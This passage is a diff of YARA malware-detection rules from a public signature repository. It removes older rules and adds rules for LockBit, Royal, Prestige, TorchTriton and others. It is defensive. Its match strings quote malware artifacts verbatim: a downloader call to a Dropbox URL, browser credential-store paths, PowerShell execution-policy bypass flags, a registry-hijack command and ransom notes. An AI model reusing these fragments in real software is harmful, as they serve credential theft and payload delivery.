-rule SIGNATURE_BASE_Indetectables_RAT : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Janicab_LNK
 {
 	meta:
-		description = "Detects Indetectables RAT based on strings found in research by Paul Rascagneres & Ronan Mouchoux"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f8322822-617c-50cf-8b64-60da3a202ca5"
-		date = "2015-10-01"
+		description = "detect LNK files used in Janicab infection chain"
+		author = "Greg Lesnewich"
+		id = "c21844d3-eeee-530e-a69c-b7f604616f0b"
+		date = "2023-01-01"
 		modified = "2023-12-05"
-		reference = "http://www.sekoia.fr/blog/when-a-brazilian-string-smells-bad/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_indetectables_rat.yar#L8-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "840a0c92ac731d9e88d0bdccb39598e4ff476e8630ec08f6c4024a31e258ebd0"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L46-L68"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0c7e8427ee61672568983e51bf03e0bcf6f2e9c01d2524d82677b20264b23a3f"
+		hash = "22ede766fba7551ad0b71ef568d0e5022378eadbdff55c4a02b42e63fcb3b17c"
+		hash = "4920e6506ca557d486e6785cb5f7e4b0f4505709ffe8c30070909b040d3c3840"
+		hash = "880607cc2da4c3213ea687dabd7707736a879cc5f2f1d4accf79821e4d24d870"
+		hash = "f4610b65eba977b3d13eba5da0e38788a9e796a3e9775dd2b8e37b3085c2e1af"
+		logic_hash = "f9c000ffb6a95d616459e00f0220ad26cb1df77e35582d14dfce1637ddfb466c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "081905074c19d5e32fd41a24b4c512d8fd9d2c3a8b7382009e3ab920728c7105"
-		hash2 = "66306c2a55a3c17b350afaba76db7e91bfc835c0e90a42aa4cf59e4179b80229"
-		hash3 = "1fa810018f6dd169e46a62a4f77ae076f93a853bfc33c7cf96266772535f6801"
+		tags = ""
+		version = "1.0"
+		DaysofYARA = "1/100"
 
 	strings:
-		$s1 = "Coded By M3" fullword wide
-		$s2 = "Stub Undetector M3" fullword wide
-		$s3 = "www.webmenegatti.com.br" wide
-		$s4 = "M3n3gatt1" fullword wide
-		$s5 = "TheMisterFUD" fullword wide
-		$s6 = "KillZoneKillZoneKill" fullword ascii
-		$s7 = "[[__M3_F_U_D_M3__]]$" fullword ascii
-		$s8 = "M3_F_U_D_M3" ascii
-		$s9 = "M3n3gatt1hack3r" fullword wide
-		$s10 = "M3n3gatt1hack3r" fullword ascii
+		$j_pdf1 = "%PDF-1.5" ascii wide
+		$j_cmd = "\\Windows\\System32\\cmd.exe" ascii wide
+		$j_pdf_stream = "endstream" ascii wide
+		$j_pdb_obj = "endobj" ascii wide
+		$dimensions = {02 00 00 A0 ?? 00 ?? ?? 01 00 01 00 01}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and 1 of them
+		uint32be(0x0)==0x4C000000 and $dimensions and 2 of ($j_*)
 }
-rule SIGNATURE_BASE_Bergsilva_Malware : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_ELF_Invalid_Version : FILE
 {
 	meta:
-		description = "Detects a malware from the same author as the Indetectables RAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5f35aea6-1d80-594a-a6e0-8e8bb30bc358"
-		date = "2015-10-01"
+		description = "Identify ELF file that has mangled header info."
+		author = "@shellcromancer"
+		id = "5bd97fdd-0912-5f9b-877c-91fff9b98dea"
+		date = "2023-01-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_indetectables_rat.yar#L35-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "03b823040a057ffbef9bcb3094a672fd75e141f3e82c77548adbe1c465d329fb"
+		reference = "https://tmpout.sh/1/1.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L70-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "05379bbf3f46e05d385bbd853d33a13e7e5d7d50"
+		logic_hash = "33f096318647867bcd90d7ba77878f43d34477b2b2cbd7410c191e60573d6cd5"
+		score = 55
+		quality = 85
+		tags = "FILE"
+		version = "0.1"
+
+	condition:
+		( uint32(0)==0x464c457f and uint8(0x6)>1)
+}
+import "pe"
+
+rule SIGNATURE_BASE_MAL_ELF_Torchtriton : FILE
+{
+	meta:
+		description = "Detection for backdoor (TorchTriton) distributed with a nightly build of PyTorch"
+		author = "Silas Cutler"
+		id = "85e98ee7-30bf-554f-a0ac-9df263e6dfe4"
+		date = "2023-01-02"
+		modified = "2023-12-05"
+		reference = "https://www.bleepingcomputer.com/news/security/pytorch-discloses-malicious-dependency-chain-compromise-over-holidays/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L88-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2385b29489cd9e35f92c072780f903ae2e517ed422eae67246ae50a5cc738a0e"
+		logic_hash = "12de3c3785aaf3623097db58abfe8ee2cbd9a0e712bf752165952de9a5fdb07d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
-		hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
+		version = "1.0"
+		DaysofYARA = "2/100"
 
 	strings:
-		$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
-		$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide
-		$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
-		$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
-		$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
-		$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
-		$s5 = "https://dl.dropbox.com/u/105015858" wide
+		$error = "failed to send packet"
+		$aes_key = "gIdk8tzrHLOM)mPY-R)QgG[;yRXYCZFU"
+		$aes_iv = "?BVsNqL]S.Ni"
+		$func01 = "splitIntoDomains("
+		$func02 = "packageForTransport"
+		$func03 = "gatherFiles"
+		$func04 = "void sendFile("
+		$domain = "&z-%`-(*"
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or 2 of ($s*))
+		uint32(0)==0x464c457f and (( all of ($aes_*)) or ( all of ($func*) and $error) or ($domain and 2 of them ))
 }
-rule SIGNATURE_BASE_Powershell_Susp_Parameter_Combo : HIGHVOL FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_GOLDBACKDOOR_LNK
 {
 	meta:
-		description = "Detects PowerShell invocation with suspicious parameters"
-		author = "Florian Roth (Nextron Systems)"
-		id = "17c707f3-7f51-5772-9874-a96c220960a7"
-		date = "2017-03-12"
-		modified = "2022-09-15"
-		reference = "https://goo.gl/uAic1X"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_invocation.yar#L2-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d56d97b4f0506430f21ccb029524111c404c03f8cef25710b96c6c0915fdcf22"
-		score = 60
-		quality = 31
-		tags = "HIGHVOL, FILE"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Greg Lesnewich"
+		id = "9a80f875-4843-535c-9f2b-b04da55713b1"
+		date = "2023-01-02"
+		modified = "2023-12-05"
+		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L119-L142"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5"
+		logic_hash = "043d01758c722964e848e51cf2747c5879f03f0fd43af827e2035abf113daf9d"
+		score = 75
+		quality = 85
+		tags = ""
+		version = "1.0"
+		DaysofYARA = "2/100"
 
 	strings:
-		$sa1 = " -enc " ascii wide nocase
-		$sa2 = " -EncodedCommand " ascii wide nocase
-		$sa3 = " /enc " ascii wide nocase
-		$sa4 = " /EncodedCommand " ascii wide nocase
-		$sb1 = " -w hidden " ascii wide nocase
-		$sb2 = " -window hidden " ascii wide nocase
-		$sb3 = " -windowstyle hidden " ascii wide nocase
-		$sb4 = " /w hidden " ascii wide nocase
-		$sb5 = " /window hidden " ascii wide nocase
-		$sb6 = " /windowstyle hidden " ascii wide nocase
-		$sc1 = " -nop " ascii wide nocase
-		$sc2 = " -noprofile " ascii wide nocase
-		$sc3 = " /nop " ascii wide nocase
-		$sc4 = " /noprofile " ascii wide nocase
-		$sd1 = " -noni " ascii wide nocase
-		$sd2 = " -noninteractive " ascii wide nocase
-		$sd3 = " /noni " ascii wide nocase
-		$sd4 = " /noninteractive " ascii wide nocase
-		$se1 = " -ep bypass " ascii wide nocase
-		$se2 = " -exec bypass " ascii wide nocase
-		$se3 = " -executionpolicy bypass " ascii wide nocase
-		$se4 = " -exec bypass " ascii wide nocase
-		$se5 = " /ep bypass " ascii wide nocase
-		$se6 = " /exec bypass " ascii wide nocase
-		$se7 = " /executionpolicy bypass " ascii wide nocase
-		$se8 = " /exec bypass " ascii wide nocase
-		$sf1 = " -sta " ascii wide
-		$sf2 = " /sta " ascii wide
-		$fp1 = "Chocolatey Software" ascii wide
-		$fp2 = "VBOX_MSI_INSTALL_PATH" ascii wide
-		$fp3 = "\\Local\\Temp\\en-US.ps1" ascii wide
-		$fp4 = "Lenovo Vantage - Battery Gauge Helper" wide fullword
-		$fp5 = "\\LastPass\\lpwinmetro\\AppxUpgradeUwp.ps1" ascii
-		$fp6 = "# use the encoded form to mitigate quoting complications that full scriptblock transfer exposes" ascii
-		$fp7 = "Write-AnsibleLog \"INFO - s" ascii
-		$fp8 = "\\Packages\\Matrix42\\" ascii
-		$fp9 = "echo " ascii
-		$fp10 = "install" ascii fullword
-		$fp11 = "REM " ascii
-		$fp12 = "set /p " ascii
-		$fp13 = "rxScan Application" wide
-		$fpa1 = "All Rights"
-		$fpa2 = "<html"
-		$fpa2b = "<HTML"
-		$fpa3 = "Copyright"
-		$fpa4 = "License"
-		$fpa5 = "<?xml"
-		$fpa6 = "Help" fullword
-		$fpa7 = "COPYRIGHT"
+		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
+		$doc_icon_loc = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.exe" ascii wide
+		$script_apionedrivecom_hex_enc_str = "6170692e6f6e6564726976652e636f6d" wide
+		$script_kernel32dll_hex_enc_str = "6b65726e656c33322e646c6c" wide
+		$script_GlobalAlloc_hex_enc_str = "476c6f62616c416c6c6f63" wide
+		$script_VirtualProtect_hex_enc_str = "5669727475616c50726f74656374" wide
+		$script_WriteByte_hex_enc_str = "577269746542797465" wide
+		$script_CreateThread_hex_enc_str = "437265617465546872656164" wide
 
 	condition:
-		filesize <3000KB and 4 of ($s*) and not 1 of ($fp*) and uint32be(0)!=0x456C6646
+		uint32be(0x0)==0x4C000000 and 1 of ($doc*) and 2 of ($script*)
 }
-rule SIGNATURE_BASE_Coreimpact_Sysdll_Exe
+import "pe"
+
+rule SIGNATURE_BASE_MAL_EXE_Lockbit_V2 : FILE
 {
 	meta:
-		description = "Detects a malware sysdll.exe from the Rocket Kitten APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bac55c00-5d14-59ca-8597-f52b4577be0c"
-		date = "2014-12-27"
+		description = "Detection for LockBit version 2.x from 2011"
+		author = "Silas Cutler, modified by Florian Roth"
+		id = "a2c27110-e63b-5f93-88a0-98c12811e8b4"
+		date = "2023-01-01"
 		modified = "2023-01-06"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_coreimpact_agent.yar#L6-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f89a4d4ae5cca6d69a5256c96111e707"
-		logic_hash = "332b68e797e8ee3e26d797e106ae31e7240585ccb0ea599bebd8ac8f94313eab"
-		score = 70
-		quality = 85
-		tags = ""
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L144-L169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8"
+		logic_hash = "9472727d75e34d8bf87c56b74a6dfc04052e621b5fe31732ea9a10c76a05e0c0"
+		score = 80
+		quality = 60
+		tags = "FILE"
+		version = "1.0"
+		DaysofYARA = "1/100"
 
 	strings:
-		$s0 = "d:\\nightly\\sandbox_avg10_vc9_SP1_2011\\source\\avg10\\avg9_all_vs90\\bin\\Rele" ascii
-		$s1 = "Mozilla/5.0" fullword ascii
-		$s3 = "index.php?c=%s&r=%lx" fullword ascii
-		$s4 = "index.php?c=%s&r=%x" fullword ascii
-		$s5 = "127.0.0.1" fullword ascii
-		$s6 = "/info.dat" ascii
-		$s7 = "needroot" fullword ascii
-		$s8 = "./plugins/" ascii
+		$s_ransom_note01 = "that is located in every encrypted folder." wide
+		$s_ransom_note02 = "Would you like to earn millions of dollars?" wide
+		$x_ransom_tox = "3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7" wide
+		$x_ransom_url = "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion" wide
+		$s_str1 = "Active:[ %d [                  Completed:[ %d" wide
+		$x_str2 = "\\LockBit_Ransomware.hta" wide ascii
+		$s_str2 = "Ransomware.hta" wide ascii
 
 	condition:
-		$s0 or 6 of them
+		uint16(0)==0x5A4D and (1 of ($x*) or 2 of them ) or 3 of them
 }
-rule SIGNATURE_BASE_Gen_Trojan_Mikey : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_EXE_Prestigeransomware : FILE
 {
 	meta:
-		description = "Trojan Mikey - file sample_mikey.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ff875436-4fed-5f20-a0a5-bfd146d93499"
-		date = "2015-05-07"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mikey_trojan.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a8e6c3ca056b3ff2495d7728654b780735b3a4cb"
-		logic_hash = "5454953bba09d6fc866bcb23ef81a0b6763d8f82b8b606597548cbb5cf6053ed"
-		score = 70
+		description = "Detection for Prestige Ransomware"
+		author = "Silas Cutler, modfied by Florian Roth"
+		id = "5ac8033a-8b15-5abe-89d5-018a4fef9ab5"
+		date = "2023-01-04"
+		modified = "2023-01-06"
+		reference = "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L171-L195"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5fc44c7342b84f50f24758e39c8848b2f0991e8817ef5465844f5f2ff6085a57"
+		logic_hash = "2f51ca71d28c8d0df8de22011e16919672d5f9d3f3d94594c5d0cbf7f1585a1e"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		version = "1.0"
+		DaysofYARA = "4/100"
 
 	strings:
-		$s0 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\ERAWTFOS" fullword ascii
-		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
-		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.0; MyIE 3.01)" fullword ascii
-		$x3 = "%d*%u%s" fullword ascii
-		$x4 = "%s %s:%d" fullword ascii
-		$x5 = "Mnopqrst Vwxyabcde Ghijklm Opqrstuv Xya" fullword ascii
+		$x_ransom_email = "Prestige.ranusomeware@Proton.me" wide
+		$x_reg_ransom_note = "C:\\Windows\\System32\\reg.exe add HKCR\\enc\\shell\\open\\command /ve /t REG_SZ /d \"C:\\Windows\\Notepad.exe C:\\Users\\Public\\README\" /f" wide
+		$ransom_message01 = "To decrypt all the data, you will need to purchase our decryption software." wide
+		$ransom_message02 = "Contact us {}. In the letter, type your ID = {:X}." wide
+		$ransom_message03 = "- Do not try to decrypt your data using third party software, it may cause permanent data loss." wide
+		$ransom_message04 = "- Do not modify or rename encrypted files. You will lose them." wide
 
 	condition:
-		uint16(0)==0x5a4d and $s0 and 2 of ($x*)
+		uint16(0)==0x5A4D and (1 of ($x*) or 2 of them or pe.imphash()=="a32bbc5df4195de63ea06feb46cd6b55")
 }
-rule SIGNATURE_BASE_Credentialstealer_Generic_Backdoor : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_EXE_Royalransomware : FILE
 {
 	meta:
-		description = "Detects credential stealer byed on many strings that indicate password store access"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b3124f6c-4e18-562c-84d9-d51e086da446"
-		date = "2017-06-07"
+		description = "Detection for Royal Ransomware seen Dec 2022"
+		author = "Silas Cutler, modfied by Florian Roth"
+		id = "f83316f7-b8c4-5907-a38e-80535215e7ef"
+		date = "2023-01-03"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_credstealer_generic.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa06291a91ac84f80cd2cbe5a01c2cbcc14cf6914da9d1234af9b3d833990551"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L197-L222"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a8384c9e3689eb72fa737b570dbb53b2c3d103c62d46747a96e1e1becf14dfea"
+		logic_hash = "6f93bade7709945b478cbdc721d85ad9243d56ace19fba25835cec13a6210dfb"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "edb2d039a57181acf95bd91b2a20bd9f1d66f3ece18506d4ad870ab65e568f2c"
+		version = "1.0"
+		DaysofYARA = "3/100"
 
 	strings:
-		$s1 = "GetOperaLoginData" fullword ascii
-		$s2 = "GetInternetExplorerCredentialsPasswords" fullword ascii
-		$s3 = "%s\\Opera Software\\Opera Stable\\Login Data" fullword ascii
-		$s4 = "select *  from moz_logins" fullword ascii
-		$s5 = "%s\\Google\\Chrome\\User Data\\Default\\Login Data" fullword ascii
-		$s6 = "Host.dll.Windows" fullword ascii
-		$s7 = "GetInternetExplorerVaultPasswords" fullword ascii
-		$s8 = "GetWindowsLiveMessengerPasswords" fullword ascii
-		$s9 = "%s\\Chromium\\User Data\\Default\\Login Data" fullword ascii
-		$s10 = "%s\\Opera\\Opera\\profile\\wand.dat" fullword ascii
+		$x_ext = ".royal_" wide
+		$x_fname = "royal_dll.dll"
+		$s_readme = "README.TXT" wide
+		$s_cli_flag01 = "-networkonly" wide
+		$s_cli_flag02 = "-localonly" wide
+		$x_ransom_msg01 = "If you are reading this, it means that your system were hit by Royal ransomware."
+		$x_ransom_msg02 = "Try Royal today and enter the new era of data security!"
+		$x_onion_site = "http://royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid.onion/"
 
 	condition:
-		( uint16(0)==0x5a4d and 4 of them )
+		uint16(0)==0x5A4D and (2 of ($x*) or 5 of them )
 }
-rule SIGNATURE_BASE_SUSP_Maldoc_Excelmacro : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_PY_Dimorf
 {
 	meta:
-		description = "Detects malicious Excel macro Artifacts"
-		author = "James Quinn"
-		id = "76806717-a9a8-520e-b6b6-7718eb088de5"
-		date = "2020-11-03"
+		description = "Detection for Dimorf ransomeware"
+		author = "Silas Cutler"
+		id = "78b53433-6926-58cd-8ec0-2195af803aab"
+		date = "2023-01-03"
 		modified = "2023-12-05"
-		reference = "YARA Exchange - Undisclosed Macro Builder"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_macro_builders.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c5d0655eaf2ca36c828675f9673a1d4284ef8719fd9ec1d354ee3284d1fb0a0c"
-		score = 65
+		reference = "https://github.com/Ort0x36/Dimorf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_100days_of_yara_2023.yar#L224-L242"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7499b21f77d07364983b94134a60f7c99e71a5392386437d459a196bf71852fb"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		version = "1.0"
 
 	strings:
-		$artifact1 = {5c 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2e 00 ?? 00 ?? 00}
-		$url1 = "http://" wide
-		$url2 = "https://" wide
-		$import1 = "URLDownloadToFileA" wide ascii
-		$macro = "xl/macrosheets/"
+		$func01 = "def find_and_encrypt"
+		$func02 = "def check_os"
+		$comment01 = "checks if the user has permission on the file."
+		$misc01 = "log_dimorf.log"
+		$misc02 = ".dimorf"
 
 	condition:
-		uint16(0)==0x4b50 and filesize <2000KB and $artifact1 and $macro and $import1 and 1 of ($url*)
+		all of them
 }
-rule SIGNATURE_BASE_Bin_Ndisk : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bronzebutler_Daserf_Delphi_1 : FILE
 {
 	meta:
-		description = "Hacking Team Disclosure Sample - file ndisk.sys"
+		description = "Detects malware / hacktool sample from Bronze Butler incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f442315e-67c2-55a5-954e-8e7e48aa1243"
-		date = "2015-07-07"
+		id = "88372e62-3bba-58dc-825c-f35533e42825"
+		date = "2017-10-14"
 		modified = "2023-12-05"
-		reference = "https://www.virustotal.com/en/file/a03a6ed90b89945a992a8c69f716ec3c743fa1d958426f4c50378cca5bef0a01/analysis/1436184181/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hackingteam_rules.yar#L10-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cf5089752ba51ae827971272a5b761a4ab0acd84"
-		logic_hash = "d93147e9631065eab35cbbc4ce112cfef92f81063cf8570bc021fbfe72811ab6"
-		score = 100
+		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bronze_butler.yar#L13-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6034a6746a5bd762d869ad2e791d80aca8a1251afa9386d6b657f23092c6fc42"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "89a80ca92600af64eb9c32cab4e936c7d675cf815424d72438973e2d6788ef64"
+		hash2 = "b1bd03cd12638f44d9ace271f65645e7f9b707f86e9bcf790e0e5a96b755556b"
+		hash3 = "22e1965154bdb91dd281f0e86c8be96bf1f9a1e5fe93c60a1d30b79c0c0f0d43"
 
 	strings:
-		$s1 = "\\Registry\\Machine\\System\\ControlSet00%d\\services\\ndisk.sys" fullword wide
-		$s2 = "\\Registry\\Machine\\System\\ControlSet00%d\\Enum\\Root\\LEGACY_NDISK.SYS" fullword wide
-		$s3 = "\\Driver\\DeepFrz" wide
-		$s4 = "Microsoft Kernel Disk Manager" fullword wide
-		$s5 = "ndisk.sys" fullword wide
-		$s6 = "\\Device\\MSH4DEV1" wide
-		$s7 = "\\DosDevices\\MSH4DEV1" wide
-		$s8 = "built by: WinDDK" fullword wide
+		$s1 = "Services.exe" fullword ascii
+		$s2 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
+		$s3 = "l32.dll" fullword ascii
+		$s4 = "tProcess:" fullword ascii
+		$s5 = " InjectPr" ascii
+		$s6 = "Write$Error creating variant or safe array\x1fInvalid argument to time encode" fullword wide
+		$s7 = "on\\run /v " fullword ascii
+		$s8 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
+		$s9 = "ms1ng2d3d2.exe" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and 6 of them
+		( uint16(0)==0x5a4d and filesize <400KB and 3 of them )
 }
-rule SIGNATURE_BASE_Hackingteam_Elevator_DLL : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bronzebutler_Daserf_C_1 : FILE
 {
 	meta:
-		description = "Hacking Team Disclosure Sample - file elevator.dll"
+		description = "Detects malware / hacktool sample from Bronze Butler incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d479c675-b200-56e3-8976-f70b45ea791e"
-		date = "2015-07-07"
+		id = "62a5cc4a-7c58-5e4d-ac23-8d1f850a540a"
+		date = "2017-10-14"
 		modified = "2023-12-05"
-		reference = "http://t.co/EG0qtVcKLh"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hackingteam_rules.yar#L33-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b7ec5d36ca702cc9690ac7279fd4fea28d8bd060"
-		logic_hash = "f2860c0bb6176f7cc57cb703e9d4235c4cf0b9cc1c0e7c47fb4c8ba47155a616"
-		score = 70
+		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bronze_butler.yar#L38-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0b0c05db41d6b6ac48b31d8c22aead301470f465c2840ddc98ed9577d0aaa50b"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a4afd9df1b4cc014c3a89d7b4a560fa3e368b02286c42841762714b23e68cc05"
+		hash2 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
+		hash3 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
+		hash4 = "b1fdc6dc330e78a66757b77cc67a0e9931b777cd7af9f839911eecb74c04420a"
+		hash5 = "15abe7b1355cd35375de6dde57608f6d3481755fdc9e71d2bfc7c7288db4cd92"
